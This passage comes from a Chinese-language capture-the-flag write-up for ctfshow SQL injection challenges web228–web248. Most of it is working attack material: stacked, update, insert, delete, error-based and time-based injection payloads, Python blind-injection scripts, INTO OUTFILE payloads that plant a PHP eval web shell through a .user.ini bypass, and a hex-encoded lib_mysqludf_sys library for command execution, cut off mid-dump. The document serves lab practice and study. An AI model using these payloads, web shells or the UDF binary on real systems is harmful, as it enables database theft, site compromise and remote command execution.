t_schema, '.', t_name, ' DROP ', geometry_column); PREPARE ls from @qwe; execute ls; deallocate prepare ls; end","EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS SQL","SQL_PATH":null,"SECURITY_TYPE":"INVOKER","CREATED":"2019-10-31 04:15:22","LAST_ALTERED":"2019-10-31 04:15:22","SQL_MODE":"","ROUTINE_COMMENT":"","DEFINER":"root@localhost","CHARACTER_SET_CLIENT":"utf8","COLLATION_CONNECTION":"utf8_general_ci","DATABASE_COLLATION":"utf8mb4_general_ci"}]}
web228
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";
//師傅說內容太多,就寫入數據庫保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}
有過濾的堆疊注入,這次把禁用的字符放進了表里,測試發現 web226 的 payload 還能用,一把梭。
web229
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
//師傅說內容太多,就寫入數據庫保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}
有過濾的堆疊注入,同上題一把梭。
web230
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
//師傅說內容太多,就寫入數據庫保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}
有過濾的堆疊注入,同上上題一把梭。
web231
//分頁查詢
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
//無過濾
update 注入,可以布爾盲注,但更方便的是注入 password 處逗號分隔用要查的數據改掉 username ,注釋掉后面的條件可覆蓋所有的記錄,再查詢數據實現回顯。
payload1: password=ctfshow',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=nonono
username: banlist,ctfshow_user,flaga
payload2: password=ctfshow',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=nonono
username: id,flagas,info
payload3: password=ctfshow',username=(select flagas from flaga)%23&username=nonono
username 找到 flag。
web232
//分頁查詢
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
//無過濾
update 注入,和上一題相比多給 password 套了一層 md5 函數,對后面的 username 無影響。
payload1: password=ctfshow'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=nonono
username: banlist,ctfshow_user,flagaa
payload2: password=ctfshow'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=nonono
username: id,flagass,info
payload3: password=ctfshow'),username=(select flagass from flagaa)%23&username=nonono
username 找到 flag。
web233
//分頁查詢
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
//無過濾
update 注入,題目說沒過濾,但之前的 payload 跑不通了,那就布爾盲注叭。。。
import random
import requests
url = "http://7b8e78f1-5553-4398-b9a7-084487b6d003.challenge.ctf.show:8080/api/"
# 表名 banlist,ctfshow_user,flag233333
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 列名 id,flagass233,info
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flag233333'"
# flag
payload = "select flagass233 from flag233333"
condition = "ascii(mid(({}),{},1))>{}"
true_flag = "更新成功"
def valid_payload(p: str) -> bool:
data = {
"password": str(random.random()),
"username": f"ctfshow' and if({p},1,0) #"
}
response = None
while True:
try:
response = requests.post(f"{url}", data=data)
except:
continue
break
return true_flag in response.json()["msg"]
index = 1
result = ""
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(condition.format(payload, index, everage)):
start = everage
else:
end = everage
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1
web234
//分頁查詢
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
//無過濾
有過濾的 update 注入,相比上一題禁用了單引號,但還可以利用 \
轉義 pass 的單引號,讓 ' where username =
變成 pass,然后 $username 就可以注入了。
payload1: password=%5C&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
username: banlist,ctfshow_user,flag23a
payload2: password=%5C&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)%23
username: id,flagass23s3,info
payload3: password=%5C&username=,username=(select flagass23s3 from flag23a)%23
username 找到 flag。
web235
//分頁查詢
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
//過濾 or '
有過濾的 update 注入,相比上一題禁用了 or
,information_schema 就也不能用了,改用 mysql.innodb_table_stats 查表名,再用無列名注入。
payload1: password=%5C&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
username: banlist,ctfshow_user,flag23a1,gtid_slave_pos
payload2: password=%5C&username=,username=(select d from (select 1,2 as d,3 union select * from flag23a1)a)%23
username 找到 flag。
web236
//分頁查詢
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
//過濾 or ' flag
有過濾的 update 注入,相比上一題禁用了 flag
,但卻還是能作為表名查詢不知道為啥。
payload1: password=%5C&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
username: banlist,ctfshow_user,flaga,gtid_slave_pos
payload2: password=%5C&username=,username=(select hex(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)%23
username 解碼為 flag。
web237
//插入數據
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
//無過濾
無過濾的 insert 注入,先用 \
在 username 逃逸后面的 password,查出來數據插入再查詢得到回顯。
payload1: username=\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()))%23
password: banlist,ctfshow_user,flag
payload2: username=\&password=,(select group_concat(column_name) from information_schema.columns where table_schema=database()))%23
password: id,char,id,username,pass,id,flagass23s3,info
payload3: username=\&password=,(select flagass23s3 from flag))%23
password 找到 flag。
web238
//插入數據
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
//過濾空格
有過濾的 insert 注入。相比上題過濾了空格,嘗試 %09 %0a %0b %0c %0d /**/
都不行,括號可以。
payload1: username=\&password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))%23
password: banlist,ctfshow_user,flagb
payload2: username=\&password=,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())))%23
password: id,char,id,username,pass,id,flag,info
payload3: username=\&password=,(select(flag)from(flagb)))%23
password 找到 flag。
web239
//插入數據
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
//過濾空格 or
有過濾的 insert 注入、相比上題過濾了 or
,information_schema
中槍,改用 mysql.innodb_table_stats
。
payload1: username=\&password=,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))%23
password: banlist,ctfshow_user,flagbb
腦洞列名 flag。
payload2: username=\&password=,(select(flag)from(flagbb)))%23
password 找到 flag。
web240
//插入數據
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
//過濾空格 or sys mysql
有過濾的 insert 注入,表名靠爆破列名靠猜。
Hint: 表名共9位,flag開頭,后五位由a/b組成,如flagabaab,全小寫
import requests
url = "http://39865a8d-b0b3-44cc-be00-3eff183f3c70.challenge.ctf.show:8080/api/insert.php"
payloads = [{
"username": "\\",
"password": f",(select(flag)from(flag{a})))#"
} for a in [f"{a}{b}{c}{d}{e}"for a in "ab" for b in "ab" for c in "ab" for d in "ab" for e in "ab"]]
for payload in payloads:
response = requests.post(url, data=payload)
print(f"[*] response: {response.json()}")
password 找到 flag。
web241
//刪除記錄
$sql = "delete from ctfshow_user where id = {$id}";
//無過濾
無過濾的 delete 注入,沒有分號數字型注入,布爾盲注記錄會越來越少,用時間盲注。
一開始用 if(1,sleep(1),0)
嘗試延時了好久都沒返回,后來明白是所有記錄都算了一遍 if,這里用 sleep(0.05) 就能延時超過 0.7s 了。
url = 'http://58e7b03f-3c20-48e0-a8f8-9a3efa102f6d.challenge.ctf.show:8080/api/delete.php'
def test2() -> float:
rand = random.random()
time_s = time.time()
_ = requests.post(url,data={"id": f"if({1 if rand > 0.5 else 0},sleep(0.05),0)"})
time_e = time.time()
return (rand > 0.5, time_e - time_s)
print([test() for _ in range(30)])
# [(True, 1.587900161743164),
# (True, 1.5109484195709229),
# (False, 0.49611639976501465),
# (True, 1.4959654808044434),
# (True, 1.5170273780822754),
# (True, 1.4945576190948486),
# (False, 0.49541330337524414),
# (False, 0.5102529525756836),
# (False, 0.499330997467041),
# (True, 1.5034611225128174),
# (False, 0.5034303665161133),
# (False, 0.48406004905700684),
# (False, 0.5018246173858643),
# (False, 0.510920524597168),
# (False, 0.3732478618621826),
# (False, 0.37639641761779785),
# (False, 0.5028927326202393),
# (True, 1.4956040382385254),
# (True, 1.518369436264038),
# (True, 1.4820938110351562),
# (True, 1.5192668437957764),
# (False, 0.4892847537994385),
# (True, 1.5094366073608398),
# (False, 0.4919764995574951),
# (True, 1.5026938915252686),
# (False, 0.5101568698883057),
# (True, 1.5108904838562012),
# (True, 1.4919395446777344),
# (True, 1.4966061115264893),
# (False, 0.5028080940246582)]
# 可知判斷臨界條件取 0.7s 就夠了
腳本
import time
import requests
url = "http://58e7b03f-3c20-48e0-a8f8-9a3efa102f6d.challenge.ctf.show:8080/api/delete.php"
# 表名 banlist,ctfshow_user,flag
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 列名 id,flag,info
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
# flag
payload = "select flag from flag"
condition = "ascii(mid(({}),{},1))>{}"
def valid_payload(p: str) -> bool:
data = {
"id": f"if({p},sleep(0.05),0)"
}
time_s = None
time_e = None
while True:
try:
time_s = time.time()
_ = requests.post(f"{url}", data=data)
time_e = time.time()
except:
continue
break
return time_e-time_s >= 0.7
index = 1
result = ""
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
mid = (start + end) // 2
if valid_payload(condition.format(payload, index, mid)):
start = mid
else:
end = mid
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1
web242
//備份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
//無過濾
outfile 后面的路徑注入,已知語法
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
可以利用 export_options 插 shell。
payload: filename=sh.php' lines terminated by '<?php eval($_POST[1]); ?>'%23
蟻劍連接 /dump/sh.php
,flag 在 /flag.here
。
web243
//備份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
//過濾了php
outfile 后面的路徑注入,php 被過濾,文件名部分改用 .user.ini 繞過,內容改用十六進制繞過。
ini 文件中注釋 ;
開頭,這里用 starting by ';' 注釋掉原本的內容,后面的字符串前面加個換行就不影響了。
payload1: filename=.user.ini' lines starting by ';' terminated by 0x0a0a6175746f5f70726570656e645f66696c653d736166652e6a70670a6175746f5f617070656e645f66696c653d736166652e6a7067; %23
payload2: filename=safe.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b203f3e; %23
蟻劍連接 /dump/
,flag 在 /flag.here
。
web244
沒有過濾的報錯注入。
//備份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
//無過濾
payload1: 1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23
{"code":0,"msg":"XPATH syntax error: '|banlist,ctfshow_flag,ctfshow_us'","count":1,"data":[]}
payload2: 1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')),1) %23
{"code":0,"msg":"XPATH syntax error: '|id,flag,info'","count":1,"data":[]}
payload3: 1' and updatexml(1,concat(0x7c,(select flag from ctfshow_flag)),1) %23
{"code":0,"msg":"XPATH syntax error: '|ctfshow{9efdc62f-4ea2-4d85-9d42'","count":1,"data":[]}
payload4: 1' and updatexml(1,concat(0x7c,mid((select flag from ctfshow_flag),30,30)),1) %23
{"code":0,"msg":"XPATH syntax error: '|42-193e145caabd}'","count":1,"data":[]}
拼接前后兩段得到 flag。
web245
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
//過濾updatexml
有過濾的報錯注入,提示過濾了 updatexml,但還可以用 extractvalue。
payload1: 1' and extractvalue(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23
{"code":0,"msg":"XPATH syntax error: '|banlist,ctfshow_flagsa,ctfshow_'","count":1,"data":[]}
payload2: 1' and extractvalue(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'))) %23
{"code":0,"msg":"XPATH syntax error: '|id,flag1,info'","count":1,"data":[]}
payload3: 1' and extractvalue(1,concat(0x7c,(select flag1 from ctfshow_flagsa))) %23
{"code":0,"msg":"XPATH syntax error: '|ctfshow{f7f4c22a-8131-4158-9f14'","count":1,"data":[]}
payload4: 1' and extractvalue(1,concat(0x7c,mid((select flag1 from ctfshow_flagsa), 30, 30))) %23
{"code":0,"msg":"XPATH syntax error: '|14-43d8f263be54}'","count":1,"data":[]}
拼接前后兩段得到 flag。
web246
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
//過濾updatexml extractvalue
有過濾的報錯注入,這次把 extractvalue 也禁用了,要用 floor。
關於 floor 報錯注入的理解見 https://www.freebuf.com/column/235496.html,原理不再贅述。
payload1: 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
{"code":0,"msg":"Duplicate entry 'ctfshow_flags1' for key 'group_key'","count":1,"data":[]}
payload2: 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
{"code":0,"msg":"Duplicate entry 'flag21' for key 'group_key'","count":1,"data":[]}
payload3: 1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
{"code":0,"msg":"Duplicate entry 'ctfshow{0f6309d1-ca9d-4653-b570-ea7802592546}1' for key 'group_key'","count":1,"data":[]}
web247
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
//過濾updatexml extractvalue floor
有過濾的報錯注入,這次新增禁用 floor
,還可以用 ceil 代替。
payload1: 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
{"code":0,"msg":"Duplicate entry 'ctfshow_flagsa2' for key 'group_key'","count":1,"data":[]}
payload2: 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
{"code":0,"msg":"Duplicate entry 'flag?2' for key 'group_key'","count":1,"data":[]}
payload3: 1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
注意這里 flag?
包含 ?
要用反引號包裹。
{"code":0,"msg":"Duplicate entry 'ctfshow{b98fc9f9-0a57-4296-ad5b-cb7deb1d2921}2' for key 'group_key'","count":1,"data":[]}
web248
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
//無過濾,
udf 注入,找了個腳本改了下。
import requests
url = 'http://c4cfac67-eec1-4378-ac1b-75c52840f816.challenge.ctf.show:8080/api/?id='
code = '7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000